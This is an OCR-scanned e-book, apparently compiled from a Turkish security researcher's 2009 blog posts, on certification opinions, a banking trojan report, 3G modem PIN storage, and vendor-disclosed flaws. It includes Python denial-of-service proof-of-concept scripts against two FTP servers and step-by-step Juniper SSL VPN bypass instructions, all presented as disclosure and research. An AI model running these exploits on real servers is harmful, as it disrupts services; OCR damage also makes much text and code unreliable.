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Merhabalar,

2009 yiinda "Bilgi glictlir ve paylasidikca artar” mofosuyla olugiurdugum siber giiveniik blogumda (hips://www.merisarica.com) , bilgi glivenkiji farkindabdini arirma adina cok sayda teknik yazya yer vermeye calighm. Yilar icinde
Tiirkiye'nin dért bir yanindan skddm olumiu geri dénigler sonucunda, yazdanmi yilar baznda e-kiap olarak derlemeye ve meraklian e paylasmaya karar verdim.

Emek, zaman ve kaynak ayrrarak yapsdm arasirmalar sonucunda yazdijim bu yazlann, siber glivenik alaninda kendini gelizirmek izteyenier icin umanm faydal clur.
Yeni yazlarla gériismek disdiyle...
Saygianmia,
Mert SARICA
Siber Glvenik Uzmam

hips:/fwww.merisarica.com
hips:/fwiter.com/mersarica

Mutlu Yillar

Source: https://www.mertsarica.com/mutlu-yillar/
By M.S on December 30th, 2009

e

Gegtigimiz haftalarda cracker uygulamasinin kaynak kodunu isteyen arkadaglar vardi, malum yarinda yeni yil, cam sakizi ¢oban
armaganida olsa hediyesiz olmazdi. Bu vesile ile isteyenler cracker uygulamasinin kaynak koduna buradan ulasabilirler.

Herkese mutlu yillar :)

3G USB

Source: https://www.mertsarica.com/3g-usb-modemler/
By M.S on December 23rd, 2009

e

Yine canimin sikildigi bir giinde bir arkadagim 3G USB modeminden bahsediyordu, birden ilgimi ¢ekti, daha 6nce inceleme firsatida
bulamamistim. Kendisi bana kisa bir demo yaparak 3G USB modem ile gelen ve Huawei tarafindan gelistirilen mobil uygulamanin (Not:
Tiirkiye'deki GSM operatorleri tarafindan 3G USB modem ile dagitilan mobil uygulamalarin gelistiricisi Huawei'dir) nasil kullanildigini
kisaca gosterdi. i1k dikkatimi ¢eken bu programda Save Pin 6zelliginin olmasiyd (kisaca Internet Explorer'in remember me 6zelligi gibi
diistinebilirsiniz.) ¢iinkii bu 6zelligin olmast PIN'in, diskte bir yerlerde saklanmasi anlamina geliyordu.

PIN kodunu girin X

Litfen PIM kodunuzu giriniz:

‘ PIN kodunu kaydet ‘

Tarnam ] [ iptal ] [ Yardim

Bunun disinda bu mobil uygulamanin 3G USB modem ile nasil haberlestigi merakimi cezbetmisti, uygulama ile modem arasindaki
haberlegsmede PIN ac¢ik m1 gidiyordu yoksa sifreli mi gidiyordu (sifreli olarak gitmesi ve smartcard iizerinde decrypt edilmesi teknik
olarak miimkiin mii bilmiyorum) bu konuda merak konusu olmustu. Bunlar diginda 3G USB modem ile kisa mesaj almak ve gdndermekte
miimkiin oluyordu. SMS alip verme hadisesi hemen aklima yakin zamanda Tiirkiye'deki tiim bankalarda hayata gececek olan tek
kullanimlik sifre uygulamasini getirdi.

Bilindigi tizere 1 Ocak 2010 tarihinden itibaren tiim bankalar igin tek kullanimlik sifre uygulamasi zorunlu hale geliyor. Bu yeni uygulama
ile miisteriler, internet bankaciligina girmek igin ilgili banka tarafindan kendisine kisa mesaj araciligiyla gonderilen tek kullanimlik
sifreyi kullanacaklar. Bunun i¢in miisterinin banka kayitlarinda giincel cep telefonu numarasinin bulunmasi sart.
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Peki ya giincel degilse ? Bu durumda miisteri cep telefonu numarasini giincellemek i¢in ilgili bankanin hizmet merkezini arayarak cep
telefonu numarasin giincelleyecek. Buraya kadar hersey normal ancak aklima goyle bir soru takildi. Ya geek bir miisteri hazirda 3G
USB modemi varken ve mobil uygulama ile SMS alabiliyorken miisteri hizmetlerine cep telefonu numarasi yerine 3G USB modeminde
kullandig1 numarasin verirse ne olacak ? Bu durumda hem internet bankaciligina girmek ve hem de finansal islemler gerceklestirebilmek
icin kullanacag tek kullanimlik sifre bilgisayarina ulasacak ve kolayca bu sifreye ulasabilecek ve kullanabilecek. Peki ya giivenlik ?

Iste bu soruya yamit ararken kendi kendime bir senaryo iirettim. Bir trojan diisiindiim. Malum internet bankaciliginda kritik islemler
oncesinde (6rnek para transferi) tek kullanimlik sifreler ile miisteriler dogrulantyor. Peki ya bu tek kullanimlik sifre 3G USB modeme
geliyorsa ? Bu durumda trojan kullanicinin haberi olmadan internet tarayicisina gengel atarak para transferi islemi esnasinda istenilen
tek kullanimlik sifreyi 3G mobil uygulamasindan alabilir ve kendi kendine finansal islem gergeklestirebilir miydi ? Muhtemelen evet...

Ornekleri ile daha dncede karsilastigimiz iizere artik yeni nesil malwareler internet tarayicilarina cengel atarak GET/POST edilen verileri
kayit altina aliyorlar. 3G USB modemlerin yayginlasmasi ve insanlarin kullandiklari hatlari tek kullanimlik sifre i¢cinde kullanmalar1
durumunda artik art niyetli kisilerin isleri daha da kolaylasacak gibi goriiniiyor...

Bu yaziy1 yazmamdaki asil amag bu konuya dikkat cekmek ve insanlarin tek kullanimlik sifre i¢in cep telefonlarini kullanmaya devam
etmelerini 6nermekti ancak diger bir yandan merak ettigim konularada yanit aramaya karar verdim.

Bir trojan daha diisiindiim, bir sekilde miisterinin bilgisayarinda 3G USB modemin takilmasini beklesin ve daha sonrasinda bu programi
kullanarak usb modeme komutlar génderebilsin. Peki ya neye yarayacakti bu ? DDOS saldirilarinin bir pargasi olan zombie bilgisayarlar
gibi sms flood yapmaya yarayan veya sms spam yapmaya yarayan zombie bilgisayarlar art niyetli insanlarin yeni hedefi olabilirdi. Peki
trojanin bu komutlar1 génderebilmek igin neye ihtiyaci vardi ? Tabiiki 6ncelikle dogru PIN'e ¢iinkii mobil uygulama ilk ac¢ildiginda sayet
save pin opsiyonu isaretlenmemisse kullanicidan PIN'i girmesi isteniyor ancak save pin opsiyonu isaretlenmis ise arka plandan PIN
sifrelenmis xml dosyasindan alinarak decrypt ediliyor ve modeme gonderiliyor. Bu durumda save pin opsiyonu isaretlenmis olan bir
3G USB modemin bilgisayara bagli olmasi ve sadece flash disk niyetine kullanilmasi bile trojanin PIN'e ihtiya¢ duyulan tiim iglemleri
gergeklestirebilmesine olanak saglayabilir. Tabii bunun igin 6ncelikle diskte sifreli olarak saklanan PIN'i kirmasi gerekiyor.

Buradan yola ¢ikarak PIN'in disk iizerinde nerede tutuldugunu aramaya koyuldum ve biraz arastirdiktan sonra X/UserData/
XProfile. XML dosyasi igerisinde yer aldigini gérdiim. (Not: X, mobil uygulama adina gore degismektedir.)

1;0;0;0; 208; 140; 157; 223; 1; 21; 209; 17; 140; 122; 0; 192; 79; 194; 151; 235; 1; 0; 0; O0; 75; 236; 167; 138; 29; 20;

Goriildiigli tizere PIN, xml dosyasinda sifreli olarak tutuluyordu. Sira kullanilan sifrelemenin ne kadar basarili oldugunu anlamaya
gelmisti. Bunun i¢in 3G mobil uygulamasini incelemeye basladim ve kisa bir siire igerisinde C# programlama dili ile yazilmis oldugunu
gordiim. Konu C# olunca kaynak koduna ulagsmak ne kadar zor olabilirdi :) Classlar1 1 saat inceledikten sonra sonunda PIN'in Data
Protection API ile sifrelendigini anlamam ve python ile sifre ¢6ziicii programi hazirlamam yaklagik 1 saat siirdii. Bu sayede Save PIN
opsiyonunun PIN'inin giivenligine énem verenler i¢in kullaniimadan 6nce bir daha diisliniilmesi gerektigini sdyleyebilecek noktaya
geldim.

= C:\WINDOWS\system32\cmd.exe - ';I

3G USE Mobile Application PINM Cracker (M.S Ed

Encrypted PIN B1AAAAAADRBC? DDFAL115D1118C7ARARCA4FC29 7EBA1 BBANBA4BECA78A1D147E48
N6ESD94390B56 HREERRRNE2 ABANANENARAZE 6 HRBANBNANENA1 PRARBEA? FBEE2 7N 762292021 15 E)
(7EADAB6 D? BECADADBRAAGA-1E B0ABAN B0B0ANA1 ADBBOAAED? 1 707CEDF3867370B56 45 8BESABCEGCBE OO
B0AA47@324CB1864157C1 40000006 E3B53AFC2D2ASE33C38D1C34DBCBD41D8149E%6

Decrypted PIN: 7009

Mobil uygulama ile 3G usb modem arasindaki haberlesmeyi ise usb port monitdr programi ile izlemeye basladigimda PIN'in dogrulama
esnasinda a¢ik halde modeme gittigini gordiim.

110 0. 00039726 X.e IRP_MJ_WRI TE QCUSB_COWD_2 SUCCESS Length 15: AT+CPI N="7**9"
111 0.00001117 X. e | OCTL_SERI AL_GET_WAI T_MASK QCUSB_COWP_2 SUCCESS

Normalde Kobil mldentity gibi USB akilli kart okuyuculardaki dogrulamalarda, sifreler bu sekilde agik m1 gidiyor bilmiyorum, pekte
sanmiyorum ancak eger acik gitmiyor ve teknik olarak miimkdin ise ise mobil uygulamalar ve 3G USB modemler arasindaki iletisiminde
sifreli olmasi1 giivenligi arttirabilir.

Sonug olarak 3G USB mobil uygulamalardaki save pin opsiyonunun internet tarayicilarindaki remember me opsiyonunda oldugu gibi
riskli oldugunu, bunun diginda 1 Ocak tarihinden itibaren internet bankaciliginda kullanilacak olan tek kullanimlik sifrenin 3G USB
modem ile kullanilmas1 durumunda trojanlarin hedefi olabilecegini ve son olarak 3G mobil uygulama ile 3G USB modem arasindaki
haberlegsmede PIN'in agik olarak transfer edildigini (iyilestirmeye acik olabilir) sizlerle paylasmak istedim. GSM operatorlerinde ¢aligan
arkadaglar dilerlerse konu ile ilgili yorum yaparak varsa eksik ve hatali kisimlar1 diizelterek beni ve herkesi aydinlatabilirler...
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CEH mi yoksa OSCP mi ?

Source: https://www.mertsarica.com/ceh-mi-yoksa-oscp-mi/
By M.S on December 15th, 2009
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2005 yilinin baglarinda Altunizade'deki bir egitim kurumunda EC-Council'in CEH egitimini almaya karar vermistim ve bu kurstan
beklentilerimde oldukea yiiksekti. Normalde yurt disinda 5 giinde verilen bu egitimi yanlis hatirlamiyorsam 3 aylik bir kursa ¢evirip
vermislerdi. Bu kursta yazilimlarda nasil giivenlik agig1 bulunacagini ve istismar edilebilecegini ve istismar uygulamasinin nasil
gelistirileceginin 6gretilecegini bu sayede bilgilerimi pekistirebilecegimi diisiiniiyordum ancak ne zamanki giiniin birinde winnuke
programinin nasil kullanilacagi gosterilmis ve egitmen tarafindan beklentilerimi asagiya gekmem gerektigi belirtilmisti, iste 0 zaman bu
kursun bana pek fazla katkis1 olmayacagini anlamigtim. Aslinda bakildiginda egitim materyallerinde exploit writing, reverse engineering
gibi keyifli modiiller olmasina ragmen kursta bu modiiller islenmiyordu sebebi ise EC-Council'in 22 ile 26 arasindaki modiillerin self-
study olmasina karar vermesinden kaynaklaniyordu. Yanlis hatirlamiyorsam o zamanki CEH siiriimii v4 idi (2003) ve kursun baslarinda
v5 (2005) ¢iktigr i¢in egitim materyallerimiz giincellenmisti. Sertifikaya sahip olmak iginse ¢oktan se¢meli bir sinavdan basariyla
geemeniz gerekiyordu (halende dyle sanirim).

Yillarca egitim igeriginin zay1f olmasi, internetten indirilebilen sinav sorular1 ve cevaplart ile sahip olunabilecek ve teorik bilgiye dayali
bir smav sisteminin olmasi nedeniyle bu egitim ve sertifika hakkinda olumsuz goériislerde bulunuyordum. Sinav sistemi bir kenara
egitim icerigi ethical hacking konusunda hig bir bilgisi olmayan, baslangi¢ seviyesindeki kisiler i¢in faydali olabilirdi, belkide egitimden
beklentilerim yiiksek oldugu i¢in beni hayal kirikligina ugratmisti.

Aradan yillar gecti ve gectigimiz y1l, santyorumki Haziran ayinimn baslariydi, v6 piyasaya ¢ikt1. Icerigine bakildiginda v5'te 26 modiil
varken v6 67 modiilden oluguyor ve igerigi 2005 yilina kiyasla oldukga tatminkar ancak v5'te oldugu gibi en keyifli ve bilgilendirici
modiiller kursun bir pargast olarak katilimcilara gosterilmiyor. (1-21 arast modiiller zorunlu geri kalanlar ise self-study)

Yaptigim is geregi insanlarin ¢ogunun sordugu ilk soru CEH sertifikasina sahip olup olmadigimdi. Yillarca bikmadan usanmadan
yukaridaki nedenlerden 6tiirii neden CEH sertifikasina sahip olmadigimi anlattim durdum ve bu yilin baginda bu soruya yanit olmast
acisindan ethical hacking egitimi ve sertifikasi iizerine yaptigim arastirmalar sonucunda igeriginin ve sinav sisteminin beni oldukca
tatmin ettigi bir egitim ile karsilagtim, Offensive Security 101 yeni adiyla Penetration Testing with Backtrack. Adindan da anlasilacagi
iizere Backtrack'in yapimcilari tarafindan hazirlanmis ve isterseniz yurt diginda isterseniz online olarak alabileceginiz bir egitim. Egitimi
internet iizerinden almaniz durumunda pdf formatinda olan egitim materyalini okuyabiliyor, pratik bilgiler iceren video formatindaki
modiilleri izleyebililiyor ve 6grendiklerinizi pratie dokmenize olanak saglayan sunucularma vpn erigsimi ile baglanabiliyorsunuz.
Fuzzing ile giivenlik acig1 kesfetmekten, python ile istismar uygulamasi hazirlamaya, ollydbg ile return adresi bulmaya kadar CEH'e
kiyasla ileri diizeyde bilgi edinmenizi sagliyor. Sinav sistemi ise CEH ile kiyaslanamaz nedeni ise tamamen pratige dayali olmasi, sinav
glinii size sinav ortamina erisebilmeniz i¢in vpn tanimlar1 yapiliyor ve yanlis hatirlamiyorsam 4 soru veriliyordu. Bir soruda sizden
bir uygulamadaki buffer overflow giivenlik zafiyetini arastirmaniz1 ve uzaktan kod ¢alistirmaniza imkan tanryan istismar uygulamasini
yazmanizt isterken diger bir soruda labdaki linux sunucuyu ele ge¢irmenizi ve root klasorii altindaki text dosyasi icerisinde yer alan satirt
kendilerine iletmeniz isteniyor ve bunlar1 gergeklestirirken otomatik tarama araglarindan (nessus, core impact) faydalanmaniz yasak,
kisacasi egitim iceriginden sinavina kadar oldukca basarili oldugunu sdyleyebilirim.

Sonug olarak yolun basindaysaniz, ethical hacking konusundaki bilgi diizeyiniz az ise, egitimi verecek egitmen isinin ehli ise (pentester
olmasi kesinlikle tercih sebebi olmalidir), zaman zaman ders programinin digina ¢ikabilecek hatta self-study olan modiilleride egitimde
isleyebilecek ise (EC-Council buna imkan taniyor mu bir fikrim yok) CEH egitimini ve sertifikasini (vasat siav sistemi nedeniyle
egitim ilede yetinebilirsiniz) 6nerebilirim. Ancak ethical hacking konusunda az ¢ok bir bilgiye sahipseniz ve bunu pratige dokerek
sertifikalandirmak istiyorsaniz OSCP egitimini ve sertifikasini siddetle 6neririm.

Dikkat Malware!!!

Source: https://www.mertsarica.com/malware-dikkat/
By M.S on December 10th, 2009
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Bugiin 6glen saatlerinde bir arkadagim, kendisine gelen siipheli bir e-postay1 benimle paylasti. E-posta, popiiler bir kariyer sitesindeki is
ilanina yanit seklinde hazirlanmisti ve bu e-postada adi gecen adaya ait C.V detaylarinin bir web sitesinden indirilebilecegi belirtilmisti.
Ilk izlenimim bu kariyer sitesindeki is verenlerin hedef alindig1 yéniindeydi. Malum mesai saatleri igerisinde bu sitede yer alan siipheli
dosyay1 detayli inceleme firsatim olmadig i¢in evde inceleyebilmek icin diskime kayit edip isimin basina dondim.

Aksam saatlerinde dosyay1 incelemeye basladigimda ve dosyanin igerisinde Tiirkge stringlerin yer almasi, yerli yapimi oldugu ihtimalini
giiclendirdi. Dosyay1 debugger ile incelemeye devam ettigimde zararli koda ait payload'un blowfish ile encrypt edildigini bu nedenle
antiviriisler tarafindan tespit edilmesinin pek miimkiin olmadigini (3/41 basar1 ve 7/41) gordiim.

Trojan ¢alistirildiktan hemen sonra kendisini silerek windows/system32/wins/setup klasorii altina msmgrs.exe adi altinda kopyaliyordu.
Trojanin yarattigi trafigi yakindan inceledigimde ise yurt disindaki bir ftp adresine baglandigini gérdiim.

ISC2 code of ethics'in altina imza atmis bir giivenlik uzmani olarak bu konu karsisinda duyarsiz kalmam miimkiin degildi o nedenle
kesfettigim ve analiz ettigim malware ile ilgili olarak insanlar1 ve kurumlar bilgilendirdim. On analizler neticesinde trojanin keylogger
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ozelligine sahip oldugunu, ek olarak 10'dan fazla Tiirk bankasinin internet bankacilig1 sayfasina girisi esnasinda kullanicinin ekran
goriintiilerini kayit ettigini gordiim. Ilerleyen zamanlarda malware analizi ile ilgili bir makale yayinlayarak nasil tespit ettigimi ve analiz
ettigimi sizlerle paylagsmay1 diisliniiyorum.

Code of Ethics Canons:
Protect society, the commonwealth, and the infrastructure.

Act honorably, honestly, justly, responsibly, and legally.
Provide diligent and competent service to principals.

Advance and protect the profession.

Offline Cracker Online :)

Source: https://www.mertsarica.com/offline-cracker-online/
By M.S on December 8th, 2009
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Canim sikilmaya dursun, diin aksam python ile 2005-2009 yillar1 arasinda milwOrm iizerinde yer alan cracker servisinin ¢6zdiigii
tim md5 hashleri ve sifreleri, tarayan ve kaydeden ufak bir program hazirladim. Nedenine gelecek olursam, malum milwOrm son
zamanlarda can ¢ekisiyor ve Eyliil ayimndan bu yana sitenin igerigi giincellenmiyor. Sitenin yayin hayatina son verme korkusuna kapilanlar
siteyi kopyalamaya ve kaldig1 yerden devam ettirmeye ¢alistyorlar (Explo.it). Bende hem ayn1 nedenlerden 6tiirii hemde ufak testlerde
elimin altinda kolayca bakabilecegim bir kaynak olmasi agisindan cracker servisi tarafindan ¢éziilmiis mdS hashler'ini diskime kayit
etmeye karar verdim ve hazir kayit etmiskende blogum {izerinden bu hashlerin sorgulanmasini saglayan Cracker sayfasini olusturdum,
rainbowcrack uygulamasini ¢aligtirmaya lisenenler i¢in faydali olabilir. Suan da 86908 ¢6ziilmiis md5 hashi i¢in sorgu yapabilirsiniz
belki ilerleyen zamanlarda Im hashlerini de kaydeder hatta yazdigim programu ilerleterek benzer farkli siteleri tarayan ve var olan kayitlari
giincelleyen bir sistem olusturabilirim...

Core FTP Server 1.0 Build 319 Denial of Service Vulnerability

Source: https://www.mertsarica.com/core-ftp-server-1-0-build-319-denial-of-service-vulnerability/
By M.S on December 1st, 2009
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Sorunun kaynagina kabaca bakacak olursak ftp sunucusuna USER komutu gonderildikten hemen sonra baglanti kesilirse, CPU %100'e
yiikselmekte ve servis kapatilana dek bu seviyede ¢alismaya devam etmektedir. Bu zafiyeti istismar edebilmek i¢in ftp sunucusu iizerinde
gegerli bir hesabinizin olmasina gerek yoktur.

Not: Buil 321 ile sorun ortadan kalkmuistir.

Ok sorry about the delay, here's the build that should fix it...

http://www.coreftp.com/test/Server.exe (build 321)
Core FTP Support

Download: Core FTP Server 1.0 Build 319
POC Code:

# Core FTP Server 1.0 Build 319

# Deni al of Service Vulnerability

# Note: FTP account is not required for exploitation
# http://ww. nertsarica.com

i mport socket, sys
HOST = ' ocal host'

PORT 21
s = socket. socket (socket. AF_| NET, socket.SOCK_STREAM

try:

s. connect ( ( HOST, PORT))
except :

print "Connection error"
sys.exit (1)
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try:
s.send(' USER MS\r\n') # nmgi c packet
s. cl ose()

print("Very good, young padawan, but you still have nuch to learn...")

except :

print "Connection error"
sys.exit (1)
POC Screen Shot:

@ Windows XP Professional - VMware Workstati i

J File Edit Wiew WYM Team Windows Help

. Home % &} Windows XP Professional

rzé L4 Windows Task Manager
File Options Wiew ShutDown  Help

# Core FTP Server 1.0 Applications | Processes | Perfarmance | Metworking
# Denial of Service Vulnerability
# Note: FTP account is not reguired for exploitati

Irnage Mame User Mame CPU
# http://wuw.mertsarica.com

WMwareService.exe  SYSTEM 0z

socket, =ys pythorw.exe Administrator o0
taskmgr.exe Administrator oo

HOST = '192.165.14%2.129" cmd.exe Adrministr ator oo
PORT = 21 swchost, exe LOCAL SERYICE oo
wireshark.exe Administrakor i}

jusched.exe Administrator oo

5 = socket.socket (socket.AF INET, socket.3OCE 3TRE) VMwareUser.exe adrministrator o0
Ly: WiwareTray exe Administrator oo
s.connect [ (HO3T, PORT)) explorer. exe Administrator o0

E: spoolsy,exe SYSTEM oo
"Coonnection error” wuauck.exe Adrninistr ator oo

sys.exit (1) svchost.exe LOCAL SERVICE oo
sychost.exe NETWORK SERVICE 00

ctfmon. exe Administrator i}

5 svchost, exe SYSTEM oo
s.send (' USER M3\rin'] # magic packet svchost.exe METWORK SERVICE 00
s.close() swrhnst.rer SWSTFM nn

{"Very good padawan...") [#] show processes from all users

"Conneckt ion eEEQE™

Users

Mem Usage | #
i 3
4,365 K
13,104 K
2.540K
1.704 K
3.TIZEK
23905 K
S5.720K
5276 K
3396 K
12,100 K
S.E72K
3985 K
3.004 K
3545 K
4,085 K
23.232K
4,236 K
4.R3A K

v

o | Processes: 31 CPU Usage: 100% Commit Charge: 206M [ 12500

IC:“Documents and Settings“Administrator Desktoprcore_dos.py
Very good padawan...

IC:“\Documents and Settings“Administrator Desktop>

Lri: 15|Cal: 11

XM Easy Professional FTP Server 5.8.

Vulnerability

0 Denial Of Service

Source: https://www.mertsarica.com/xm-easy-professional-ftp-server-5-8-0-denial-of-service-vulnerability/

By M.S on November 30th, 2009
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Zafiyetten kisaca bahsetmek gerekirse ftp sunucusuna basariyla giris yapildiktan sonra "HELP AAA... (4074 tane)" komutunun
gonderilmesi sonucunda ftp sunucusu ¢okmektedir. Bu zafiyeti istismar edebilmek i¢in ftp sunucusu lizerinde gegerli bir hesabinizin

olmasi gerekmektedir.

Not: Bu siiriimde baska giivenlik agiklarininda olmasina ragmen Ekim ayindan bu yana dek siiriimde herhangi bir degisikligin olmamasi
nedeniyle tiretici firmanin aksiyon alma siiresinin ge¢ oldugunu gz 6niinde bulundurarak yanit beklemeden yaymlamayi tercih ettim.

Download: XM Easy Professional FTP Server 5.8.0
POC Code:

# XM Easy Professional FTP Server 5.8.0

# Deni al of Service Vulnerability

# Note: FTP account is required for exploitation
# http://ww. nertsarica.com

fromftplib inmport *
i mport sys
import ftplib

try:

ftp = FTP(' | ocal host') # connect to host, default port
except :

print "Connection error"

sys.exit (1)
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http://www.dxm2008.com/data/ftpserversetup.exe
http://www.mertsarica.com/codes/xm_dos.py

try:

ftp.login() # user anonynous, passwd anonynous@
except:

print "Login failed"

sys.exit (1)

packet = "HELP " + "MS" * 2037 # mmgi c packet

try:

ftp. sendcnmd( packet)

ftp.quit()

except ftplib.all_errors, error:

print("Very good, young padawan, but you still have nuch to learn...")

POC Screen Shot:
s HEIE

# XM Easv Professional FTFP Server 5.85.0 J
# Denial of Service Vulnerability
# http://wwv.mertsarica.com

=v=
ftpserver.exe has encountered a problem and needs to D
frplikb % %
close. We are sony for the inconvenience.

frp = FTP{' localhost') # IF yow were in the middle of something, the information you were working an
H might be lost.

"Conneectien errer™
sys.exit (1)

Debug
ftp.login() # use 4

packet = "HELF "™ 4+ "MS"™ * 2037 # magic packet

For mare information about this enor, click here.

ftp.sendewd (packet)
frp.guit ()
frplib.all errors, error:
[("fery goed padavan...™)

IC:“Documents and Settings“Administrator:Desktop>xm_dos.py

Lr: &|Col: 0

Sertifika = is = As

Source: https://www.mertsarica.com/sertifika-is-as/
By M.S on November 23rd, 2009
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Acgikgasi son zamanlarda sertifika karsit1 goriislerin artmasi nedeniyle bu konu hakkinda birseyler karalamak istedim.

Saygimlig1 yiiksek olan sertifikalarin ¢ogu konu hakkinda temel diizeyde bilgiye sahip oldugunuzu ortaya koymak ve is bulmanizi
kolaylastirmak i¢in avantaj saglamaktadir, neden mi ?

Ornegin CISSP sertifikasini ele alacak olursak, yaklasik 6 saat boyunca OSS gibi bir cevap kagidimi karalayarak (offline smav),
internetten soru ve cevaplarini bulamayacaginiz (bulsanizda ayni1 soru ile bir sonraki sinavda karsilagma ihtimaliniz oldukga diistiktiir),
MCSE, CEH ve benzer smavlar gibi ezberleyerek gegemeyeceginiz ve case studies tiirlinde ingilizce sorular1 yanitlayarak sahip
olabileceginiz bir sertifika olmasi nedeniyle camiada ve is verenler arasinda sayginlig1 yiiksektir.

Higte ucuz olmayan 5498 - 5998% arasindaki sinav {icretini 6deyen herkes tekrar bu ticreti 6dememek i¢in vaktinin biiyiik bir bolimiini
10 domaini ¢alisarak gegirmekte ve bu sayede Access Control Systems and Methodology, Telecommunications and Network Security,
Business Continuity Planning and Disaster Recovery Planning, Security Management Practices, Security Architecture and Models,
Law, Investigation, and Ethics, Application and Systems Development Security, Cryptography , Computer Operations Security Physical
Security domainleri hakkinda temel diizeyde istemesede bilgi sahibi olmaktadir bu sayede i veren sizin bu domainler konusunda bilgi
sahibi oldugunuzu teyit edebilmektedir.

Bunun diginda eger danismanlik hizmeti verecekseniz veya danismanlik hizmeti veren bir kurumun danisman kadrosunda yer
alacaksaniz, bu sertifikalardan birine sahip olmaniz size veya is vereninize danismanlik hizmetini pazarlama adma biiylik avantaj
saglayacaktir ¢iinkii ¢ogunlukla bu hizmetlerin satin alinmasi asamasinda danismanlarin sahip oldugu sertifikalar onemli bir
oynamaktadir.
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Ayrica bu sertifikaya sahip olan kisiler sertifikalarimin gegerliligini devam ettirebilmek i¢in her sene egitimlere ve seminerlere katilarak,
kitap okuyarak kendilerini gelistirmek zorundadirlar aksi halde sertifikalarinin dondurulmasi ve iptal edilmesi s6z konusu olabilir. Is
veren agisindan baktigimiz zaman her daim kendini gelistirmek zorunda olan bir ¢alisana sahip olmasi olduk¢a mutluluk vericidir.

Aklima son gelen ise bu sertifikaya sahip olmak i¢in code of ethics'i kabul etmeniz gerekmektedir. Code of ethics'i kabul etmis birinin
sahip oldugu bilgiyi kotii emelleri i¢in kullanmayacagi en azindan bu ihtimalin oldukga diisiik oldugu (malum kariyeri son bulacaktir) goz
oniinde bulunduruldugunda, ¢alisanin bu degerli sertifikalarini riske atmayacagi bir gercektir, bu nedenle is verene giiven vermektedir.

Sonug olarak sertifika sahibi olmak hem is veren hem de adaylar i¢in ¢esitli avantajlar saglamaktadir ancak unutulmamasi gereken
en onemli kisim bu tiir teknik olmayan sertifikalar sadece temel diizeyde bilgiyi ortaya koymak icin degerlendirme kriteri olarak
kullanilmaly, ileri diizey i¢inse mutlaka hands-on sertifikalar (6rnek: OSCP) degerlendirme kriteri olarak kullanilmalidir.

Juniper SSL VPN dsjvd.ini Overwrite (TOC/TOU) Vulnerability

Source: https://www.mertsarica.com/juniper-ssl-vpn-dsjvd-ini-overwrite-toctou-vulnerability/
By M.S on November 20th, 2009
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15 Ocak 2009 tarihinde gergeklestirdigim penetrasyon testinde Juniper SSL. VPN cihazinda kesfettigim bir giivenlik zafiyetinin
detaylarina girmeden ufak bir boliimiini 16 Temmuz 2009 tarihinde netsec grubunda paylasmistim, iiretici tarafindan diizeltildigi i¢in
artik Juniper SIRT ile yaptigim bir kag yazismayi ve zafiyetin icerigini sizlerle paylasabilirim.

From: Payum Moussavi
Sent: Thursday, July 16, 2009 6:48 PM

Subject: RE: Juniper SSL VPN dsjvd.ini Overwrite (TOC/TOU) Vulnerability...
Hello Mert,
This issue is fixed in the following releases:

6.4R2 and Higher - Released
6.3RS - Released

6.2R6 - Released

6.1R8 — Sept/09 — no date confirmed.

Download URL for IVE software:
http://www.juniper.net/techpubs/software/ive/

Our Advisory will be coming out at the end of Sept early October.

Regards,
Payum Moussavi

Kimden: Payum Moussavi
Gonderilmis: Per 19.02.2009 20:27

Konu: RE: Juniper SSL VPN dsjvd.ini Overwrite (TOC/TOU) Vulnerability...

Hello Mert,

Our risk assessment for this issue is "Low". In order to exploit this
vulnerability you would need physical access or remote access

(exploiting another vulnerability) to the machine.
As stated, we will fix this issue in Q3/09.

Regards,
Payum Moussavi

SLT Escalation Team, Manager
Juniper Technical Assistance Center (JTAC)

Service Layer Technology (SLT) Group


https://www.mertsarica.com/juniper-ssl-vpn-dsjvd-ini-overwrite-toctou-vulnerability/
https://www.mertsarica.com/juniper-ssl-vpn-dsjvd-ini-overwrite-toctou-vulnerability/

Juniper Networks, Inc.

From: MERT SARICA
Sent: Monday, January 26, 2009 5:32 AM
Subject: RE: Juniper SSL VPN dsjvd.ini Overwrite (TOC/TOU)

Vulnerability...

f:irst of all consider that our default policy (dsjvd.ini) has a

configuration line as

AllowedApps=iexplore.exe” firefox.exe"mstsc.exe”dshostchecker.exe”dsCache
Cleaner.exe”dsNCService.exe"dsNetworkConnect.exe"dsAccessService.exe”get

flash.dll”msi.dll"telnet.exe
Attack steps:

1- I set a custom dsjvd.ini with AllowedApps="* and put it into
C:\Documents and Settings\Administrator\Application Data\Juniper

Networks\Host Checker\policy 1\ folder.

2- I opened up C:\Documents and Settings\Administrator\Application
Data\Juniper Networks\Host Checker\policy 1\dsjvd.ini and put it into
background, made it ready for save attempt in the 4th step.

2- 1 fired up the web browser and called https://****/Profile

3- Web server redirected me to
https://***/dana-na/auth/url 9/welcome.cgi

4- While it was loading the components and secure workspace, I brought
previously opened dsjvd.ini to the front and tried a save attempt

frequently like 20 save attempts in 5 seconds.
5- As aresult, TOC/TOU vulnerability occured, my custom policy loaded
into the workspace and I was able to run any process like nmap in the

screenshot sample as I sent to you before.

I hope steps are clear enough.

X Finans Kurulusu - Animated Captcha (GIF)

Source: https://www.mertsarica.com/x-finans-kurulusu-animated-captcha-gif/
By M.S on November 19th, 2009
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Yaklasik bir haftadir "nasil bir captcha kullanmali, captchakiller sitesi de parali oldu, acaba ¢oziilmesi zor bir captcha yaptigimdan nasil
emin olabilirim" sorusuna cevap aradigim su giinlerde sans eseri yerel bir finans kurulusunun kritik uygulamasinin giris sayfasinda
kullandig1 ve muhtemelen kendilerinin tasarlamig oldugu animated captcha (GIF) ile karsilastim. Animated olmasi nedeniyle ilk basta
OCR'a kars1 bagarili olabilecegini diisiindiim ancak iizerinde biraz daha diisiindiikten sonra teoride teknik sebeplerden otiirii pekte basarili
olamayacagina kanaat getirdim ve pratikte buna yanit aramanin hem kendi adima hem de Tiirkiye'de oldukga fazla sayida miisterisi olan
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bu finans kurulusu ve miisterileri adina faydali olacagini karar verdim ve ufak bir program hazirlamaya basladim. A¢ik kaynak kodlu
kiitliphanelerden de faydalanarak yaklasik 2 saatte tamamladigim bu program, animated captchay1 %80 basariyla ¢ozebiliyor.

captchalarinda bir iyilestirmeye yaparlarsa ve responsible disclosure konusunda anlayish olurlarsa hazirladigim programin igerigini ve
POC videosunu sizlerle paylasabilecegim...

Giincelleme: Bugiin itibariyle kendileriyle iletisim kurabildim, programi ve POC videoyu paylastim, hizli geri doniisleri ve yaklagimlari
icin kendilerine tesekkiir ediyorum.

Date: Fri, Nov 20, 2009 at 10:03 AM

Merhaba,

Sayfamizda kullanilan captcha ilizerine bir ¢alisma yaptiginizi 6grendik.
